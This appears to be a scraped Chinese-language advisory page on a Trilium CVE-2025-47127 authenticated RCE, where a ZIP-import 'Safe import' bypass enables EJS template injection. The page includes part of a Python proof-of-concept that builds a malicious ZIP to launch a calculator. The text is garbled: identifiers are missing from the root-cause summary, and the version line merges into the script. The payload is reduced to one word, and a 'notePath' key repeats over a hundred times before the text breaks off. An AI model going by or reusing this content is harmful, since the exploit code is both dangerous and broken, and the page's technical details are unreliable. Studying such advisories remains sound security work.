Trilium CVE-2025-47127：shareTemplate 关系绕过安全导入实现已认证 RCE

漏洞关键信息总结 漏洞概述 漏洞名称：Authenticated RCE in TriliumNext/Trilium via Relation — SafeImport Bypass → EJS SSTI (Safe import enable) CVE ID：CVE-2025-47127 严重等级：High（高危） 根因：Trilium 的 ZIP 导入器提供默认开启的 "Safe import" 开关，但 关系在 中硬编码了 ，而 关系并未被正确标记为危险，导致攻击者可通过构造恶意 ZIP 包，在导入时触发 EJS 模板中的 ，在服务器 Node 进程中执行任意 JavaScript，从而获得 RCE。 影响范围 受影响版本： /usr/bin/open -> Calculator linux -> gnome-calculator win32 -> calc.exe Headless docker hosts will spawn but get no visible window. Use this against a desktop Trilium install (Electron or "open server" mode) on macOS / Linux with a session) to see the classic calc-pop marker. """ import json import sys import zipfile ROOT_NOTE_ID = "a1b2c3d4e5f6g7h8" TPL_NOTE_ID = "i9j8k7l6m5n4o3p2" EJS_TEMPLATE = r"""Calculator""" META = { "formatVersion": 2, "appVersion": "0.103.0", "noteTree": { "notePath": ROOT_NOTE_ID, "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE_ID], "notePath": [ROOT_NOTE

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Trilium CVE-2025-47127：shareTemplate 关系绕过安全导入实现已认证 RCE

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Trilium CVE-2025-47127：shareTemplate 关系绕过安全导入实现已认证 RCE

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！